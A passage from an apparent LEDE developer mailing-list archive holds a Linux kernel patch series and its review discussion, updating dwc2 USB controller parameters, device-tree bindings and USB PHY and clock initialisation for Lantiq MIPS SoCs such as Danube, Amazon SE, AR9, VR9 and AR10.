> +@@ -116,6 +116,37 @@ static const struct dwc2_core_params par
> +       .hibernation                    = -1,
> + };
> +
> ++static const struct dwc2_core_params params_ltq = {
> ++      .otg_cap                        = 2,    /* non-HNP/non-SRP */
> ++      .otg_ver                        = -1,
> ++      .dma_enable                     = -1,
> ++      .dma_desc_enable                = -1,
> ++      .speed                          = -1,
> ++      .enable_dynamic_fifo            = -1,
> ++      .en_multiple_tx_fifo            = -1,
> ++      .host_rx_fifo_size              = 288,  /* 288 DWORDs */
> ++      .host_nperio_tx_fifo_size       = 128,  /* 128 DWORDs */
> ++      .host_perio_tx_fifo_size        = 96,   /* 96 DWORDs */
> ++      .max_transfer_size              = 65535,
> ++      .max_packet_count               = 511,
> ++      .host_channels                  = -1,
> ++      .phy_type                       = -1,
> ++      .phy_utmi_width                 = -1,
> ++      .phy_ulpi_ddr                   = -1,
> ++      .phy_ulpi_ext_vbus              = -1,
> ++      .i2c_enable                     = -1,
> ++      .ulpi_fs_ls                     = -1,
> ++      .host_support_fs_ls_low_power   = -1,
> ++      .host_ls_low_power_phy_clk      = -1,
> ++      .ts_dline                       = -1,
> ++      .reload_ctl                     = -1,
> ++      .ahbcfg                         = GAHBCFG_HBSTLEN_INCR16 <<
> ++                                        GAHBCFG_HBSTLEN_SHIFT,
> ++      .uframe_sched                   = -1,
> ++      .external_id_pin_ctl            = -1,
> ++      .hibernation                    = -1,
> ++};
> ++
> + static int __dwc2_lowlevel_hw_enable(struct dwc2_hsotg *hsotg)
> + {
> +       struct platform_device *pdev = to_platform_device(hsotg->dev);
> +@@ -310,6 +341,8 @@ static int dwc2_driver_remove(struct pla
> + static const struct of_device_id dwc2_of_match_table[] = {
> +       { .compatible = "brcm,bcm2835-usb", .data = &params_bcm2835 },
> +       { .compatible = "rockchip,rk3066-usb", .data = &params_rk3066 },
> ++      { .compatible = "lantiq,arx100-usb", .data = &params_ltq },
> ++      { .compatible = "lantiq,xrx200-usb", .data = &params_ltq },
> +       { .compatible = "snps,dwc2", .data = NULL },
> +       { .compatible = "samsung,s3c6400-hsotg", .data = NULL},
> +       {},
> diff --git a/target/linux/lantiq/patches-4.4/0061-USB-DWC2-make-the-lantiq-settings-match-vendor-drive.patch b/target/linux/lantiq/patches-4.4/0061-USB-DWC2-make-the-lantiq-settings-match-vendor-drive.patch
> new file mode 100644
> index 0000000000..7a48910442
> --- /dev/null
> +++ b/target/linux/lantiq/patches-4.4/0061-USB-DWC2-make-the-lantiq-settings-match-vendor-drive.patch
> @@ -0,0 +1,53 @@
> +From be028b8785d219a60d00a67fe3c5f421c2a22d56 Mon Sep 17 00:00:00 2001
> +From: Hauke Mehrtens <hauke at hauke-m.de>
> +Date: Fri, 6 Jan 2017 17:55:24 +0100
> +Subject: [PATCH 1/2] USB: DWC2: make the lantiq settings match vendor driver
> +
> +Make the settings for the dwc2 driver match the settings used by the
> +vendor driver.
> +
> +Signed-off-by: Hauke Mehrtens <hauke at hauke-m.de>
> +---
> + drivers/usb/dwc2/platform.c | 17 +++++++++--------
> + 1 file changed, 9 insertions(+), 8 deletions(-)
> +
> +--- a/drivers/usb/dwc2/platform.c
> ++++ b/drivers/usb/dwc2/platform.c
> +@@ -120,18 +120,18 @@ static const struct dwc2_core_params par
> +       .otg_cap                        = 2,    /* non-HNP/non-SRP */
> +       .otg_ver                        = -1,
> +       .dma_enable                     = -1,
> +-      .dma_desc_enable                = -1,
> +-      .speed                          = -1,
> ++      .dma_desc_enable                = 0,
> ++      .speed                          = DWC2_SPEED_PARAM_HIGH,
> +       .enable_dynamic_fifo            = -1,
> +       .en_multiple_tx_fifo            = -1,
> +-      .host_rx_fifo_size              = 288,  /* 288 DWORDs */
> +-      .host_nperio_tx_fifo_size       = 128,  /* 128 DWORDs */
> +-      .host_perio_tx_fifo_size        = 96,   /* 96 DWORDs */
> +-      .max_transfer_size              = 65535,
> +-      .max_packet_count               = 511,
> ++      .host_rx_fifo_size              = 240,  /* 240 DWORDs */
> ++      .host_nperio_tx_fifo_size       = 240,  /* 240 DWORDs */
> ++      .host_perio_tx_fifo_size        = 32,   /* 32 DWORDs */
> ++      .max_transfer_size              = -1,
> ++      .max_packet_count               = -1,
> +       .host_channels                  = -1,
> +-      .phy_type                       = -1,
> +-      .phy_utmi_width                 = -1,
> ++      .phy_type                       = DWC2_PHY_TYPE_PARAM_UTMI,
> ++      .phy_utmi_width                 = 16,
> +       .phy_ulpi_ddr                   = -1,
> +       .phy_ulpi_ext_vbus              = -1,
> +       .i2c_enable                     = -1,
> +@@ -140,7 +140,8 @@ static const struct dwc2_core_params par
> +       .host_ls_low_power_phy_clk      = -1,
> +       .ts_dline                       = -1,
> +       .reload_ctl                     = -1,
> +-      .ahbcfg                         = GAHBCFG_HBSTLEN_INCR16 <<
> ++      /* vr9 a1x chip rev should use GAHBCFG_HBSTLEN_SINGLE */
> ++      .ahbcfg                         = GAHBCFG_HBSTLEN_INCR4 <<
> +                                         GAHBCFG_HBSTLEN_SHIFT,
> +       .uframe_sched                   = -1,
> +       .external_id_pin_ctl            = -1,
> diff --git a/target/linux/lantiq/patches-4.4/0062-USB-DWC2-add-ltq-params.patch b/target/linux/lantiq/patches-4.4/0062-USB-DWC2-add-ltq-params.patch
> new file mode 100644
> index 0000000000..492525349d
> --- /dev/null
> +++ b/target/linux/lantiq/patches-4.4/0062-USB-DWC2-add-ltq-params.patch
> @@ -0,0 +1,47 @@
> +--- a/drivers/usb/dwc2/platform.c
> ++++ b/drivers/usb/dwc2/platform.c
> +@@ -148,6 +148,35 @@ static const struct dwc2_core_params par
> +       .hibernation                    = -1,
> + };
> +
> ++static const struct dwc2_core_params params_danube = {
> ++      .otg_cap                        =  2,   /* non-HNP/non-SRP */
> ++      .otg_ver                        = -1,
> ++      .dma_enable                     = -1,
> ++      .dma_desc_enable                = 0,
> ++      .speed                          = DWC2_SPEED_PARAM_HIGH,
> ++      .enable_dynamic_fifo            = -1,
> ++      .en_multiple_tx_fifo            = -1,
> ++      .host_rx_fifo_size              = 640,
> ++      .host_nperio_tx_fifo_size       = 640,
> ++      .host_perio_tx_fifo_size        = 768,
> ++      .max_transfer_size              = -1,
> ++      .max_packet_count               = -1,
> ++      .host_channels                  = -1,
> ++      .phy_type                       = -1,
> ++      .phy_utmi_width                 = 16,
> ++      .phy_ulpi_ddr                   = -1,
> ++      .phy_ulpi_ext_vbus              = -1,
> ++      .i2c_enable                     = -1,
> ++      .ulpi_fs_ls                     = -1,
> ++      .host_support_fs_ls_low_power   = -1,
> ++      .host_ls_low_power_phy_clk      = -1,
> ++      .ts_dline                       = -1,
> ++      .reload_ctl                     = -1,
> ++      .ahbcfg                         = GAHBCFG_HBSTLEN_INCR4 <<
> ++                                        GAHBCFG_HBSTLEN_SHIFT,
> ++      .uframe_sched                   = -1,
> ++};
> ++
> + static int __dwc2_lowlevel_hw_enable(struct dwc2_hsotg *hsotg)
> + {
> +       struct platform_device *pdev = to_platform_device(hsotg->dev);
> +@@ -342,6 +371,8 @@ static int dwc2_driver_remove(struct pla
> + static const struct of_device_id dwc2_of_match_table[] = {
> +       { .compatible = "brcm,bcm2835-usb", .data = &params_bcm2835 },
> +       { .compatible = "rockchip,rk3066-usb", .data = &params_rk3066 },
> ++      { .compatible = "lantiq,danube-usb", .data = &params_danube },
> ++      { .compatible = "lantiq,ase-usb", .data = &params_ltq },
> +       { .compatible = "lantiq,arx100-usb", .data = &params_ltq },
> +       { .compatible = "lantiq,xrx200-usb", .data = &params_ltq },
> +       { .compatible = "snps,dwc2", .data = NULL },
> diff --git a/target/linux/lantiq/patches-4.4/0065-MIPS-lantiq-improve-USB-initialization.patch b/target/linux/lantiq/patches-4.4/0065-MIPS-lantiq-improve-USB-initialization.patch
> new file mode 100644
> index 0000000000..e23d38733f
> --- /dev/null
> +++ b/target/linux/lantiq/patches-4.4/0065-MIPS-lantiq-improve-USB-initialization.patch
> @@ -0,0 +1,202 @@
> +From 14909c4e4e836925668e74fc6e0e85ba0283cbf9 Mon Sep 17 00:00:00 2001
> +From: Hauke Mehrtens <hauke at hauke-m.de>
> +Date: Fri, 6 Jan 2017 17:40:12 +0100
> +Subject: [PATCH 2/2] MIPS: lantiq: improve USB initialization
> +
> +This adds code to initialize the USB controller and PHY also on Danube,
> +Amazon SE and AR10. This code is based on the Vendor driver from
> +different UGW versions and compared to the hardware documentation.
> +
> +Signed-off-by: Hauke Mehrtens <hauke at hauke-m.de>
> +---
> + arch/mips/lantiq/xway/reset.c   | 120 ++++++++++++++++++++++++++++++----------
> + arch/mips/lantiq/xway/sysctrl.c |  20 +++++++
> + 2 files changed, 110 insertions(+), 30 deletions(-)
> +
> +--- a/arch/mips/lantiq/xway/reset.c
> ++++ b/arch/mips/lantiq/xway/reset.c
> +@@ -72,6 +72,8 @@
> + #define RCU_USBCFG_HDSEL_BIT  BIT(11)
> + #define RCU_USBCFG_HOST_END_BIT       BIT(10)
> + #define RCU_USBCFG_SLV_END_BIT        BIT(9)
> ++#define RCU_USBCFG_SLV_END_BIT_AR9    BIT(17)
> ++
> +
> + /* USB reset bits */
> + #define RCU_USBRESET          0x0010
> +@@ -85,6 +87,8 @@
> +
> + #define RCU_CFG1A             0x0038
> + #define RCU_CFG1B             0x003C
> ++#define  RCU_CFG1_TX_PEE      BIT(0)
> ++#define  RCU_CFG1_DIS_THR_SHIFT       15 /* Disconnect Threshold */
> +
> + /* USB PMU devices */
> + #define PMU_AHBM              BIT(15)
> +@@ -306,38 +310,91 @@ static void ltq_usb_init(void)
> +       /* Power for USB cores 1 & 2 */
> +       ltq_pmu_enable(PMU_AHBM);
> +       ltq_pmu_enable(PMU_USB0);
> +-      ltq_pmu_enable(PMU_USB1);
> +
> +-      ltq_rcu_w32(ltq_rcu_r32(RCU_CFG1A) | BIT(0), RCU_CFG1A);
> +-      ltq_rcu_w32(ltq_rcu_r32(RCU_CFG1B) | BIT(0), RCU_CFG1B);
> ++      if (of_machine_is_compatible("lantiq,ar10") ||
> ++          of_machine_is_compatible("lantiq,grx390") ||
> ++          of_machine_is_compatible("lantiq,ar9") ||
> ++          of_machine_is_compatible("lantiq,vr9"))
> ++              ltq_pmu_enable(PMU_USB1);
> ++
> ++      if (of_machine_is_compatible("lantiq,vr9") ||
> ++          of_machine_is_compatible("lantiq,ar10")) {
> ++              ltq_rcu_w32(ltq_rcu_r32(RCU_CFG1A) | RCU_CFG1_TX_PEE |
> ++                          7 << RCU_CFG1_DIS_THR_SHIFT, RCU_CFG1A);
> ++              ltq_rcu_w32(ltq_rcu_r32(RCU_CFG1B) | RCU_CFG1_TX_PEE |
> ++                          7 << RCU_CFG1_DIS_THR_SHIFT, RCU_CFG1B);
> ++      }
> +
> +       /* Enable USB PHY power for cores 1 & 2 */
> +       ltq_pmu_enable(PMU_USB0_P);
> +-      ltq_pmu_enable(PMU_USB1_P);
> ++      if (of_machine_is_compatible("lantiq,ar10") ||
> ++          of_machine_is_compatible("lantiq,grx390") ||
> ++          of_machine_is_compatible("lantiq,ar9") ||
> ++          of_machine_is_compatible("lantiq,vr9"))
> ++              ltq_pmu_enable(PMU_USB1_P);
> ++
> ++      if (of_machine_is_compatible("lantiq,ase") ||
> ++          of_machine_is_compatible("lantiq,danube")) {
> ++              /* Configure cores to host mode */
> ++              ltq_rcu_w32(ltq_rcu_r32(RCU_USB1CFG) & ~RCU_USBCFG_HDSEL_BIT,
> ++                      RCU_USB1CFG);
> ++
> ++              /* Select DMA endianness (Host-endian: big-endian) */
> ++              ltq_rcu_w32((ltq_rcu_r32(RCU_USB1CFG) & ~RCU_USBCFG_SLV_END_BIT)
> ++                      | RCU_USBCFG_HOST_END_BIT, RCU_USB1CFG);
> ++      }
> ++
> ++      if (of_machine_is_compatible("lantiq,ar9")) {
> ++              /* Configure cores to host mode */
> ++              ltq_rcu_w32(ltq_rcu_r32(RCU_USB1CFG) & ~RCU_USBCFG_HDSEL_BIT,
> ++                      RCU_USB1CFG);
> ++              ltq_rcu_w32(ltq_rcu_r32(RCU_USB2CFG) & ~RCU_USBCFG_HDSEL_BIT,
> ++                      RCU_USB2CFG);
> ++
> ++              /* Select DMA endianness (Host-endian: big-endian) */
> ++              ltq_rcu_w32((ltq_rcu_r32(RCU_USB1CFG) & ~RCU_USBCFG_SLV_END_BIT_AR9)
> ++                      | RCU_USBCFG_HOST_END_BIT, RCU_USB1CFG);
> ++              ltq_rcu_w32(ltq_rcu_r32((RCU_USB2CFG) & ~RCU_USBCFG_SLV_END_BIT_AR9)
> ++                      | RCU_USBCFG_HOST_END_BIT, RCU_USB2CFG);
> ++      }
> ++
> ++      if (of_machine_is_compatible("lantiq,vr9") ||
> ++          of_machine_is_compatible("lantiq,ar10")) {
> ++              /* Configure cores to host mode */
> ++              ltq_rcu_w32(ltq_rcu_r32(RCU_USB1CFG) & ~RCU_USBCFG_HDSEL_BIT,
> ++                      RCU_USB1CFG);
> ++              ltq_rcu_w32(ltq_rcu_r32(RCU_USB2CFG) & ~RCU_USBCFG_HDSEL_BIT,
> ++                      RCU_USB2CFG);
> ++
> ++              /* Select DMA endianness (Host-endian: big-endian) */
> ++              ltq_rcu_w32((ltq_rcu_r32(RCU_USB1CFG) & ~RCU_USBCFG_SLV_END_BIT)
> ++                      | RCU_USBCFG_HOST_END_BIT, RCU_USB1CFG);
> ++              ltq_rcu_w32(ltq_rcu_r32((RCU_USB2CFG) & ~RCU_USBCFG_SLV_END_BIT)
> ++                      | RCU_USBCFG_HOST_END_BIT, RCU_USB2CFG);
> ++      }
> ++
> ++      if (of_machine_is_compatible("lantiq,ar9")) {
> ++              /* Hard reset USB state machines */
> ++              ltq_rcu_w32(ltq_rcu_r32(RCU_USBRESET)
> ++                         | USBRESET_BIT | BIT(28), RCU_USBRESET);
> ++              udelay(50 * 1000);
> ++              ltq_rcu_w32(ltq_rcu_r32(RCU_USBRESET)
> ++                          & ~(USBRESET_BIT | BIT(28)), RCU_USBRESET);
> ++      } else {
> ++              /* Hard reset USB state machines */
> ++              ltq_rcu_w32(ltq_rcu_r32(RCU_USBRESET) | USBRESET_BIT, RCU_USBRESET);
> ++              udelay(50 * 1000);
> ++              ltq_rcu_w32(ltq_rcu_r32(RCU_USBRESET) & ~USBRESET_BIT, RCU_USBRESET);
> ++      }
> +
> +-      /* Configure cores to host mode */
> +-      ltq_rcu_w32(ltq_rcu_r32(RCU_USB1CFG) & ~RCU_USBCFG_HDSEL_BIT,
> +-              RCU_USB1CFG);
> +-      ltq_rcu_w32(ltq_rcu_r32(RCU_USB2CFG) & ~RCU_USBCFG_HDSEL_BIT,
> +-              RCU_USB2CFG);
> +-
> +-      /* Select DMA endianness (Host-endian: big-endian) */
> +-      ltq_rcu_w32((ltq_rcu_r32(RCU_USB1CFG) & ~RCU_USBCFG_SLV_END_BIT)
> +-              | RCU_USBCFG_HOST_END_BIT, RCU_USB1CFG);
> +-      ltq_rcu_w32(ltq_rcu_r32((RCU_USB2CFG) & ~RCU_USBCFG_SLV_END_BIT)
> +-              | RCU_USBCFG_HOST_END_BIT, RCU_USB2CFG);
> +-
> +-      /* Hard reset USB state machines */
> +-      ltq_rcu_w32(ltq_rcu_r32(RCU_USBRESET) | USBRESET_BIT, RCU_USBRESET);
> +-      udelay(50 * 1000);
> +-      ltq_rcu_w32(ltq_rcu_r32(RCU_USBRESET) & ~USBRESET_BIT, RCU_USBRESET);
> +-
> +-      /* Soft reset USB state machines */
> +-      ltq_rcu_w32(ltq_rcu_r32(RCU_USBRESET2)
> +-              | USB1RESET_BIT | USB2RESET_BIT, RCU_USBRESET2);
> +-      udelay(50 * 1000);
> +-      ltq_rcu_w32(ltq_rcu_r32(RCU_USBRESET2)
> +-              & ~(USB1RESET_BIT | USB2RESET_BIT), RCU_USBRESET2);
> ++      if (of_machine_is_compatible("lantiq,vr9")) {
> ++              /* Soft reset USB state machines */
> ++              ltq_rcu_w32(ltq_rcu_r32(RCU_USBRESET2)
> ++                      | USB1RESET_BIT | USB2RESET_BIT, RCU_USBRESET2);
> ++              udelay(50 * 1000);
> ++              ltq_rcu_w32(ltq_rcu_r32(RCU_USBRESET2)
> ++                      & ~(USB1RESET_BIT | USB2RESET_BIT), RCU_USBRESET2);
> ++      }
> + }
> +
> + static int __init mips_reboot_setup(void)
> +@@ -363,8 +420,11 @@ static int __init mips_reboot_setup(void
> +       if (!ltq_rcu_membase)
> +               panic("Failed to remap core memory");
> +
> +-      if (of_machine_is_compatible("lantiq,ar9") ||
> +-          of_machine_is_compatible("lantiq,vr9"))
> ++      if (of_machine_is_compatible("lantiq,danube") ||
> ++          of_machine_is_compatible("lantiq,ase") ||
> ++          of_machine_is_compatible("lantiq,ar9") ||
> ++          of_machine_is_compatible("lantiq,vr9") ||
> ++          of_machine_is_compatible("lantiq,ar10"))
> +               ltq_usb_init();
> +
> +       if (of_machine_is_compatible("lantiq,vr9"))
> +--- a/arch/mips/lantiq/xway/sysctrl.c
> ++++ b/arch/mips/lantiq/xway/sysctrl.c
> +@@ -254,6 +254,25 @@ static void pmu_disable(struct clk *clk)
> +               pr_warn("deactivating PMU module failed!");
> + }
> +
> ++static void usb_set_clock(void)
> ++{
> ++      unsigned int val = ltq_cgu_r32(ifccr);
> ++
> ++      if (of_machine_is_compatible("lantiq,ar10") ||
> ++          of_machine_is_compatible("lantiq,grx390")) {
> ++              val &= ~0x03; /* XTAL devices by 3 */
nit: divides

> ++      } else if (of_machine_is_compatible("lantiq,ar9") ||
> ++                 of_machine_is_compatible("lantiq,vr9")) {
> ++              /* TODO: this depends on the XTLA frequency */
> ++              val |= 0x03; /* XTAL devices by 3 */
nit: divides

> ++      } else if (of_machine_is_compatible("lantiq,ase")) {
> ++              val |= 0x20; /* from XTLA */
nit: XTAL

> ++      } else if (of_machine_is_compatible("lantiq,danube")) {
> ++              val |= 0x30; /* 12 MHz, generated from 36 MHz */
> ++      }
> ++      ltq_cgu_w32(val, ifccr);
> ++}
> ++
> + /* the pci enable helper */
> + static int pci_enable(struct clk *clk)
> + {
> +@@ -608,4 +627,5 @@ void __init ltq_soc_init(void)
> +
> +       if (of_machine_is_compatible("lantiq,vr9"))
> +               xbar_fpi_burst_disable();
> ++      usb_set_clock();
> + }
> diff --git a/target/linux/lantiq/patches-4.4/0301-xrx200-add-gphy-clk-src-device-tree-binding.patch b/target/linux/lantiq/patches-4.4/0301-xrx200-add-gphy-clk-src-device-tree-binding.patch
> index 227d1cf25a..e42aaf9c07 100644
> --- a/target/linux/lantiq/patches-4.4/0301-xrx200-add-gphy-clk-src-device-tree-binding.patch
> +++ b/target/linux/lantiq/patches-4.4/0301-xrx200-add-gphy-clk-src-device-tree-binding.patch
> @@ -1,6 +1,6 @@
>  --- a/arch/mips/lantiq/xway/sysctrl.c
>  +++ b/arch/mips/lantiq/xway/sysctrl.c
> -@@ -423,6 +423,20 @@ static void clkdev_add_clkout(void)
> +@@ -442,6 +442,20 @@ static void clkdev_add_clkout(void)
>         }
>   }
>
> @@ -21,10 +21,10 @@
>   /* bring up all register ranges that we need for basic system control */
>   void __init ltq_soc_init(void)
>   {
> -@@ -608,4 +622,6 @@ void __init ltq_soc_init(void)
> -
> +@@ -628,4 +642,6 @@ void __init ltq_soc_init(void)
>         if (of_machine_is_compatible("lantiq,vr9"))
>                 xbar_fpi_burst_disable();
> +       usb_set_clock();
>  +
>  +      set_phy_clock_source(np_cgu);
>   }
> --
> 2.11.0
>


From hauke at hauke-m.de  Fri Jan  6 11:32:31 2017
From: hauke at hauke-m.de (Hauke Mehrtens)
Date: Fri, 6 Jan 2017 20:32:31 +0100
Subject: [LEDE-DEV] [PATCH] lantiq: update USB controller handling
In-Reply-To: <CAFBinCDVD_BTEKO-qm_RX8EwZox8-J0wcb05gC39qxogCdRBcg@mail.gmail.com>
References: <20170106190633.21185-1-hauke@hauke-m.de>
 <CAFBinCDVD_BTEKO-qm_RX8EwZox8-J0wcb05gC39qxogCdRBcg@mail.gmail.com>
Message-ID: <4686b1e3-5bee-ce0a-caa3-4c559c000b32@hauke-m.de>

On 01/06/2017 08:26 PM, Martin Blumenstingl wrote:
> Hi Hauke,
> 
> (CC'ing Mathias as he was looking into some of the USB issues as well)
> 
> On Fri, Jan 6, 2017 at 8:06 PM, Hauke Mehrtens <hauke at hauke-m.de> wrote:
>> This makes the code use the same settings aas the vendor sdrivers.
> s/aas/as/
> s/sdrivers/driver/
> you should probably also mention that this:
> 1. backports USB initialization fixes for XRX300, Danube and Amazon-SE
> 2. sets the clock source for all SoCs which fixes USB (initialization)
> issues on Danube when using the dwc2 driver (thus fixes FS#351 and
> supersedes Mathias' "lantiq: set the usb clock source" RFC patch)

Yes after I send the patch I noticed that I haven't updated the commit
message. I will fix that.

Could someone please test this patch and report back if it fixes the
problems on Danube and works on Amazon SE or improves something in VR9?
Positive and negative reports would be nice. I have only tested it on
VR9 till now, I have to look what other boards I have here.

>> Signed-off-by: Hauke Mehrtens <hauke at hauke-m.de>
>> ---
>>  target/linux/lantiq/dts/amazonse.dtsi              |   3 +-
>>  target/linux/lantiq/dts/ar9.dtsi                   |   6 +-
>>  target/linux/lantiq/dts/danube.dtsi                |   2 +-
>>  target/linux/lantiq/dts/vr9.dtsi                   |   6 +-
>>  ...MIPS-lantiq-danube-initialize-usb-on-boot.patch |  10 -
>>  .../patches-4.4/0041-USB-DWC2-add-ltq-params.patch |  75 --------
>>  .../linux/lantiq/patches-4.4/0047-poweroff.patch   |   2 +-
>>  ...2-Add-support-for-Lantiq-ARX-and-XRX-SoCs.patch |  78 ++++++++
>>  ...ke-the-lantiq-settings-match-vendor-drive.patch |  53 ++++++
>>  .../patches-4.4/0062-USB-DWC2-add-ltq-params.patch |  47 +++++
>>  ...65-MIPS-lantiq-improve-USB-initialization.patch | 202 +++++++++++++++++++++
>>  ...x200-add-gphy-clk-src-device-tree-binding.patch |   6 +-
>>  12 files changed, 395 insertions(+), 95 deletions(-)
>>  delete mode 100644 target/linux/lantiq/patches-4.4/0039-MIPS-lantiq-danube-initialize-usb-on-boot.patch
>>  delete mode 100644 target/linux/lantiq/patches-4.4/0041-USB-DWC2-add-ltq-params.patch
>>  create mode 100644 target/linux/lantiq/patches-4.4/0060-usb-dwc2-Add-support-for-Lantiq-ARX-and-XRX-SoCs.patch
>>  create mode 100644 target/linux/lantiq/patches-4.4/0061-USB-DWC2-make-the-lantiq-settings-match-vendor-drive.patch
>>  create mode 100644 target/linux/lantiq/patches-4.4/0062-USB-DWC2-add-ltq-params.patch
>>  create mode 100644 target/linux/lantiq/patches-4.4/0065-MIPS-lantiq-improve-USB-initialization.patch
>>
>> diff --git a/target/linux/lantiq/dts/amazonse.dtsi b/target/linux/lantiq/dts/amazonse.dtsi
>> index bce618fed8..2b8ad08140 100644
>> --- a/target/linux/lantiq/dts/amazonse.dtsi
>> +++ b/target/linux/lantiq/dts/amazonse.dtsi
>> @@ -122,11 +122,12 @@
>>                 };
>>
>>                 ifxhcd at E101000 {
>> -                       compatible = "lantiq,ifxhcd-ase";
>> +                       compatible = "lantiq,ase-usb", "lantiq,ifxhcd-ase";
>>                         reg = <0xE101000 0x1000
>>                                 0xE120000 0x3f000>;
>>                         interrupt-parent = <&icu0>;
>>                         interrupts = <39>;
>> +                       dr_mode = "host";
>>                         status = "disabled";
>>                 };
>>
>> diff --git a/target/linux/lantiq/dts/ar9.dtsi b/target/linux/lantiq/dts/ar9.dtsi
>> index 569f25f02c..2638a4b268 100644
>> --- a/target/linux/lantiq/dts/ar9.dtsi
>> +++ b/target/linux/lantiq/dts/ar9.dtsi
>> @@ -137,20 +137,22 @@
>>                 };
>>
>>                 ifxhcd at E101000 {
>> -                       compatible = "lantiq,ifxhcd-arx100", "lantiq,ifxhcd-arx100-dwc2";
>> +                       compatible = "lantiq,arx100-usb", "lantiq,ifxhcd-arx100";
>>                         reg = <0xE101000 0x1000
>>                                 0xE120000 0x3f000>;
>>                         interrupt-parent = <&icu0>;
>>                         interrupts = <62 91>;
>> +                       dr_mode = "host";
>>                         status = "disabled";
>>                 };
>>
>>                 ifxhcd at E106000 {
>> -                       compatible = "lantiq,ifxhcd-arx100-dwc2";
>> +                       compatible = "lantiq,arx100-usb";
>>                         reg = <0xE106000 0x1000
>>                                 0xE1E0000 0x3f000>;
>>                         interrupt-parent = <&icu0>;
>>                         interrupts = <91>;
>> +                       dr_mode = "host";
>>                         status = "disabled";
>>                 };
>>
>> diff --git a/target/linux/lantiq/dts/danube.dtsi b/target/linux/lantiq/dts/danube.dtsi
>> index f11787f975..83e85c36a5 100644
>> --- a/target/linux/lantiq/dts/danube.dtsi
>> +++ b/target/linux/lantiq/dts/danube.dtsi
>> @@ -143,7 +143,7 @@
>>                 };
>>
>>                 ifxhcd at E101000 {
>> -                       compatible = "lantiq,ifxhcd-danube-dwc2", "lantiq,ifxhcd-danube";
>> +                       compatible = "lantiq,danube-usb", "lantiq,ifxhcd-danube";
>>                         reg = <0xE101000 0x1000
>>                                 0xE120000 0x3f000>;
>>                         interrupt-parent = <&icu0>;
>> diff --git a/target/linux/lantiq/dts/vr9.dtsi b/target/linux/lantiq/dts/vr9.dtsi
>> index 4810a91c5c..eff4944411 100644
>> --- a/target/linux/lantiq/dts/vr9.dtsi
>> +++ b/target/linux/lantiq/dts/vr9.dtsi
>> @@ -177,19 +177,21 @@
>>
>>                 ifxhcd at E101000 {
>>                         status = "disabled";
>> -                       compatible = "lantiq,ifxhcd-xrx200", "lantiq,ifxhcd-xrx200-dwc2";
>> +                       compatible = "lantiq,xrx200-usb", "lantiq,ifxhcd-xrx200";
>>                         reg = <0xE101000 0x1000
>>                                 0xE120000 0x3f000>;
>>                         interrupt-parent = <&icu0>;
>>                         interrupts = <62 91>;
>> +                       dr_mode = "host";
>>                 };
>>
>>                 ifxhcd at E106000 {
>>                         status = "disabled";
>> -                       compatible = "lantiq,ifxhcd-xrx200-dwc2";
>> +                       compatible = "lantiq,xrx200-usb";
>>                         reg = <0xE106000 0x1000>;
>>                         interrupt-parent = <&icu0>;
>>                         interrupts = <91>;
>> +                       dr_mode = "host";
>>                 };
>>
>>                 eth0: eth at E108000 {
>> diff --git a/target/linux/lantiq/patches-4.4/0039-MIPS-lantiq-danube-initialize-usb-on-boot.patch b/target/linux/lantiq/patches-4.4/0039-MIPS-lantiq-danube-initialize-usb-on-boot.patch
>> deleted file mode 100644
>> index bd42f38c0a..0000000000
>> --- a/target/linux/lantiq/patches-4.4/0039-MIPS-lantiq-danube-initialize-usb-on-boot.patch
>> +++ /dev/null
>> @@ -1,10 +0,0 @@
>> ---- a/arch/mips/lantiq/xway/reset.c
>> -+++ b/arch/mips/lantiq/xway/reset.c
>> -@@ -370,6 +370,7 @@ static int __init mips_reboot_setup(void
>> -               panic("Failed to remap core memory");
>> -
>> -       if (of_machine_is_compatible("lantiq,ar9") ||
>> -+          of_machine_is_compatible("lantiq,danube") ||
>> -           of_machine_is_compatible("lantiq,vr9"))
>> -               ltq_usb_init();
>> -
>> diff --git a/target/linux/lantiq/patches-4.4/0041-USB-DWC2-add-ltq-params.patch b/target/linux/lantiq/patches-4.4/0041-USB-DWC2-add-ltq-params.patch
>> deleted file mode 100644
>> index 68d5f3ff4d..0000000000
>> --- a/target/linux/lantiq/patches-4.4/0041-USB-DWC2-add-ltq-params.patch
>> +++ /dev/null
>> @@ -1,75 +0,0 @@
>> ---- a/drivers/usb/dwc2/platform.c
>> -+++ b/drivers/usb/dwc2/platform.c
>> -@@ -145,6 +145,62 @@ static int __dwc2_lowlevel_hw_enable(str
>> -       return ret;
>> - }
>> -
>> -+static const struct dwc2_core_params params_ltq = {
>> -+      .otg_cap                        = 2,    /* non-HNP/non-SRP */
>> -+      .otg_ver                        = -1,
>> -+      .dma_enable                     = -1,
>> -+      .dma_desc_enable                = -1,
>> -+      .speed                          = -1,
>> -+      .enable_dynamic_fifo            = -1,
>> -+      .en_multiple_tx_fifo            = -1,
>> -+      .host_rx_fifo_size              = 288,  /* 288 DWORDs */
>> -+      .host_nperio_tx_fifo_size       = 128,  /* 128 DWORDs */
>> -+      .host_perio_tx_fifo_size        = 96,   /* 96 DWORDs */
>> -+      .max_transfer_size              = -1,
>> -+      .max_packet_count               = 511,
>> -+      .host_channels                  = -1,
>> -+      .phy_type                       = -1,
>> -+      .phy_utmi_width                 = -1,
>> -+      .phy_ulpi_ddr                   = -1,
>> -+      .phy_ulpi_ext_vbus              = -1,
>> -+      .i2c_enable                     = -1,
>> -+      .ulpi_fs_ls                     = -1,
>> -+      .host_support_fs_ls_low_power   = -1,
>> -+      .host_ls_low_power_phy_clk      = -1,
>> -+      .ts_dline                       = -1,
>> -+      .reload_ctl                     = -1,
>> -+      .ahbcfg                         = GAHBCFG_HBSTLEN_INCR16 << GAHBCFG_HBSTLEN_SHIFT,
>> -+      .uframe_sched                   = -1,
>> -+};
>> -+
>> -+static const struct dwc2_core_params params_danube = {
>> -+      .otg_cap                        =  2,   /* non-HNP/non-SRP */
>> -+      .otg_ver                        = -1,
>> -+      .dma_enable                     = -1,
>> -+      .dma_desc_enable                = -1,
>> -+      .speed                          = -1,
>> -+      .enable_dynamic_fifo            = -1,
>> -+      .en_multiple_tx_fifo            = -1,
>> -+      .host_rx_fifo_size              = -1,
>> -+      .host_nperio_tx_fifo_size       = -1,
>> -+      .host_perio_tx_fifo_size        = -1,
>> -+      .max_transfer_size              = -1,
>> -+      .max_packet_count               = -1,
>> -+      .host_channels                  = -1,
>> -+      .phy_type                       = -1,
>> -+      .phy_utmi_width                 = -1,
>> -+      .phy_ulpi_ddr                   = -1,
>> -+      .phy_ulpi_ext_vbus              = -1,
>> -+      .i2c_enable                     = -1,
>> -+      .ulpi_fs_ls                     = -1,
>> -+      .host_support_fs_ls_low_power   = -1,
